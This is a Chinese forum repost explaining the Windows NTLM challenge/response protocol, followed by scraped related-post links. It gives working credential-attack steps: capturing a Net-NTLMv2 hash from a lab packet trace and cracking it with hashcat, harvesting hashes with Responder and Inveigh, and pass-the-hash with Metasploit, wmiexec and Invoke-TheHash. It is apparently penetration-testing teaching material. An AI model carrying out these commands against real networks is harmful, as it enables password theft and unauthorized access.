来源:https://bbs.ichunqiu.com/thread-53598-1-1.html
 
发表于 5 天前0586
在平时的测试中,经常会碰到处于工作组的计算机,处于工作组的计算机之间是无法建立一个可信的信托机构的,只能是点对点进行信息的传输。
 
举个例子就是,主机A想要访问主机B上的资源,就要向主机B发送一个存在于主机B上的一个账户,主机B接收以后会在本地进行验证,如果验证成功,才会允许主机A进行相应的访问。
 
这里主要说一下基于挑战(Chalenge)/响应(Response)认证机制NTLM协议,对于之前的SMB协议等等就不再进行过多的说明。
 
NTLM 协议是一种基于挑战(Chalenge)/响应(Response)认证机制,仅支持Windows的网络认证协议。
 
它主要分为协商、质询和验证三个步骤
  • 协商,这个是为了解决历史遗留问题,也就是为了向下兼容,双方先确定一下传输协议的版本等各种信息。
  • 质询,这一步便是Chalenge/Response认证机制的关键之处,下面会介绍这里的步骤。
  • 验证,对质询的最后结果进行一个验证,验证通过后,即允许访问资源
 
质询的完整过程
  • 首先,client会向server发送一个username,这个username是存在于server上的一个用户。
  • 当server接收到这个信息时,首先会在本地查询是否存在这样的一个用户,如果不存在,则直接返回认证失败,如果存在,将会生成一个16位的随机字符,即Chalenge,然后用查询到的这个user的NTLM hash对Chalenge进行加密,生成Chalenge1,将Chalenge1存储在本地,并将Chalenge传给client。
  • 当client接收到Chalenge时,将发送的username所对应的NTLM hash对Chalenge进行加密即Response,并Response发送给server。
  • 质询到这里就结束了,最后一步就是属于验证的机制了
  • server在收到Response后,将其与Chalenge1进行比较,如果相同,则验证成功
 
大致的流程就是这样子了
最后再稍微说一下NTLM V2协议,NTLMv1与NTLM v2最显著的区别就是Challenge与加密算法不同,共同点就是加密的原料都是NTLM Hash,NTLM v1的Challenge有8位,NTLM v2的Challenge为16位;NTLM v1的主要加密算法是DES,NTLM v2的主要加密算法是HMAC-MD5。
 
我们用实际抓包情况来看一下他们之间的数据传输

server192.168.5.133LENOVO/123456
client192.168.5.134

在client远程连接server

net use \\192.168.5.133 /uENOVO 123456

 
我们来看一下抓到的数据包
 
这四条应该是进行协商的
 
前四个数据包对应NTLM认证的四部过程
 
我们打开第二个数据包,获得返回的Challenge:d2165f1d10268dc0
查看第三个数据包可以得到client加密后的Challenge:1b6943212ce6ccf2
Response数据为

8582c1c1d54a7a430fc79a0abe09b4040101000000000000f29aefb85f5ad5011b6943212ce6ccf20000000002001e00570049004e002d0044004d0047004d0055004f005000510030003300310001001e00570049004e002d0044004d0047004d0055004f005000510030003300310004001e00570049004e002d0044004d0047004d0055004f005000510030003300310003001e00570049004e002d0044004d0047004d0055004f005000510030003300310007000800f29aefb85f5ad50106000400020000000800300030000000000000000100000000200000f4be3b3312dffac27687742d4f92263e5c1a37792d98c42fa6cd9200a6e15fa80a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e0035002e00310033003300000000000000000000000000

 
接下来便可以使用Hashcat对其进行破解
NTLMv2的格式为:username::domain:challenge:HMAC-MD5:blob
 
注:challenge为NTLMServer Challenge,domian由数据包内容获得(IP或者机器名),HMAC-MD5对应数据包中的NTProofStr,blob对应数据包中Response去掉NTProofStr的后半部分
 
 
所以完整的NTLMv2数据为

LENOVO::WIN-DMGMUOPQ031:d2165f1d10268dc0:8582c1c1d54a7a430fc79a0abe09b404:0101000000000000f29aefb85f5ad5011b6943212ce6ccf20000000002001e00570049004e002d0044004d0047004d0055004f005000510030003300310001001e00570049004e002d0044004d0047004d0055004f005000510030003300310004001e00570049004e002d0044004d0047004d0055004f005000510030003300310003001e00570049004e002d0044004d0047004d0055004f005000510030003300310007000800f29aefb85f5ad50106000400020000000800300030000000000000000100000000200000f4be3b3312dffac27687742d4f92263e5c1a37792d98c42fa6cd9200a6e15fa80a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e0035002e00310033003300000000000000000000000000

 
然后使用hashcat即可破解

hashcat -m 5600 LENOVO::WIN-DMGMUOPQ031:d2165f1d10268dc0:8582c1c1d54a7a430fc79a0abe09b404:0101000000000000f29aefb85f5ad5011b6943212ce6ccf20000000002001e00570049004e002d0044004d0047004d0055004f005000510030003300310001001e00570049004e002d0044004d0047004d0055004f005000510030003300310004001e00570049004e002d0044004d0047004d0055004f005000510030003300310003001e00570049004e002d0044004d0047004d0055004f005000510030003300310007000800f29aefb85f5ad50106000400020000000800300030000000000000000100000000200000f4be3b3312dffac27687742d4f92263e5c1a37792d98c42fa6cd9200a6e15fa80a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e0035002e00310033003300000000000000000000000000/root/123.list -o balabala.txt --force

-m:hash-type,5600对应NetNTLMv2,详细参数可查表:https://hashcat.net/wiki/doku.php
-o:输出文件
字典文件为/root/123.list
--force代表强制执行,测试系统不支持Intel OpenCL
 
最后可以看到已经成功爆破出密码
 
当然在实际的测试环境中,我们不可能使用这样的方法去获取,可以使用中间人攻击的方式来获取Net-NTLMhash,常用的两个工具是Responder和Inveigh
 
Responder:python编写
https://github.com/lgandx/Responder
 
Inveigh:powershell编写
https://github.com/Kevin-Robertson/Inveigh
 
我们在client上运行Inveigh,当我们通过命令行连接的时候,就可以获取到Net-NTLMv2 hash。
 
首先先执行powershell

Import-Module .\Inveigh.psd1Invoke-Inveigh -consoleoutput Y

 
 
此时就会抓到传输中的Net-NTLMv2 hash
 
然后再进行破解就可以了
 
但是,当我们无法对其进行破解时,还有一种方法可以用来利用,那就是PTH,即Pass The Hash(哈希传递),哈希传递是能够在不需要账户明文密码的情况下完成认证的一个技术,在使用这种技术的时候,我们不光需要用户的的NTLM Hash,还需要知道它的用户名。
 
哈希传递,正是利用了点对点认证没有第三方信托机构的缺点来完成的
 
首先我们先向server发送用户的用户名,等待server返回Chanllenge,然后我们使用用户名对应的NTLM Hash将服务器给出的 Chanllenge加密,生成一个Response,来完成认证。
 
至于利用工具的话
1.msf有下面的模块

exploit/windows/smb/p**ec_psh

 
2.kali有pth工具集
 
3.还有基于python的wmiexec
https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
 
注:
wmiexec.py的注释中提示"Mainadvantage here is it runs under the user (has to be Admin) account",经实际测试普通用户权限即可
wmiexec.py的hash参数格式为LMHASH:NTHASH,如果系统默认不支持LM hash,将LM hash设定为任意值即可
参数实例:

wmiexec -hashes00000000000000000000000000000000:7ECFFFF0C3548187607A14BAD0F88BB1TEST/test1@192.168.1.1 "whoami"

 
 
4.还有基于powershell的
https://github.com/Kevin-Robertson/Invoke-TheHash/
 
5.感觉最好用的应该还是cs中自带的那个功能,方便又快捷。
 
如果对NTLM感兴趣的可以去了解了解下面的两篇文章
http://davenport.sourceforge.net/ntlm.html
https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html

[转帖]NTLM说明的更多相关文章

  1. [转帖]Kerberos和NTLM - SQL Server

    Kerberos和NTLM - SQL Server https://www.cnblogs.com/dreamer-fish/p/3458425.html 当我们使用Windows Authenti ...

  2. [转帖][思路/技术]Mimikatz的多种攻击方式以及防御方式

    [思路/技术]Mimikatz的多种攻击方式以及防御方式 https://bbs.ichunqiu.com/thread-53954-1-1.html 之前学习过 抄密码 没想到还有这么多功能.   ...

  3. nginx负载均衡基于ip_hash的session粘帖

    nginx负载均衡基于ip_hash的session粘帖 nginx可以根据客户端IP进行负载均衡,在upstream里设置ip_hash,就可以针对同一个C类地址段中的客户端选择同一个后端服务器,除 ...

  4. iOS进行Basic认证与NTLM认证

    一.iOS进行Basic认证 只需要在NSMutableURLRequest的Header中添加认证所需的Username和password. NSMutableURLRequest *webReq ...

  5. [转帖]网络协议封封封之Panabit配置文档

    原帖地址:http://myhat.blog.51cto.com/391263/322378

  6. [转帖]零投入用panabit享受万元流控设备——搭建篇

    原帖地址:http://net.it168.com/a2009/0505/274/000000274918.shtml 你想合理高效的管理内网流量吗?你想针对各个非法网络应用与服务进行合理限制吗?你是 ...

  7. 3d数学总结帖

    3d数学总结帖,以下是对3d学习过程中数学知识的简单总结 角度值和弧度制的互转 Deg2Rad 角度A1转弧度A2 => A2=A1*PI/180 Rad2Deg 弧度A2转换角度A1 => ...

  8. [转帖]The Lambda Calculus for Absolute Dummies (like myself)

    Monday, May 7, 2012 The Lambda Calculus for Absolute Dummies (like myself)   If there is one highly ...

  9. [转帖]FPGA开发工具汇总

    原帖:http://blog.chinaaet.com/yocan/p/5100017074 ----------------------------------------------------- ...

随机推荐

  1. [Luogu] 稳定婚姻

    https://www.luogu.org/problemnew/show/1407 tarjan求一下强连通分量,然后判断一下两个人是否在同一强连通分量中 #include<iostream& ...

  2. 2018-2019 ACM-ICPC, China Multi-Provincial Collegiate Programming Contest

    目录 Contest Info Solutions A. Maximum Element In A Stack B. Rolling The Polygon C. Caesar Cipherq D. ...

  3. openstack 本地导入镜像.

    网络很慢,直接本地传. openstack image create "Fedora30" --file Fedora-Cloud-Base-30-1.2.x86_64.qcow2 ...

  4. JVM备忘点(1.8以前)

    1.内存结构 左边两个线程共享,右边三个线程私有. 方法区:.class文件的类信息.常量.static变量.即时编译器编译后的代码(动态代理).HotSpot将方法区称为永久代 堆:分为新生代和老年 ...

  5. MySQL数据分析(16)— 数据操作之增删改查

    前面我们说学习MySQL要从三个层面,四大逻辑来学,三个层面就是库层面,表层面和数据层面对吧,数据库里放数据表,表里放数据是吧,大家可以回忆PPT中jacky的这图,我们已经学完了库层面和表层面,从本 ...

  6. Spring Cloud Eureka(六):Eureka Client 如何注册到Eureka Server

    1.本节概要 根据前文我们对Eureka Server 有了一定的了解,本节我们主要学习Eureka Client 与 Eureka Server 如何通讯的及相关通信机制是什么,本文会弄清楚一下几个 ...

  7. Maven依赖传递

    依赖传递原则: 1.路径最短原则 2.路径相同是先申明者优先(dependency申明顺序先的优先)

  8. 【面试题总结】1、统计字符串中某个单词出现的次数(1-C++实现)

    [解决方法一]C++ map解决 一.map中的find函数: 用于查找map中是否包含某个关键字条目,传入的参数是要查找的key,最后返回一个迭代器,如果没有找到,则返回的迭代器等于end()返回的 ...

  9. 表单事件集锦-input

    最近在写一个手机端提交表单的项目,里面用了不少input标签,因为项目不太忙,所以,想做的完美点,但是遇到了一些问题,比如:页面中的必填项如果有至少一项为空,提交按钮就是不能提交的状态,所以需要对所有 ...

  10. 一、Linux的基础使用--登录、开关机与在线、命令的查询帮助

    目录 一.Linux的基础使用 1.1 X Window 与命令行模式的切换 1.2 命令行模式下命令的执行 1.3 修改支持语系 1.4 基础命令的操作 1.5 几个重要的热键[Tab].[Ctrl ...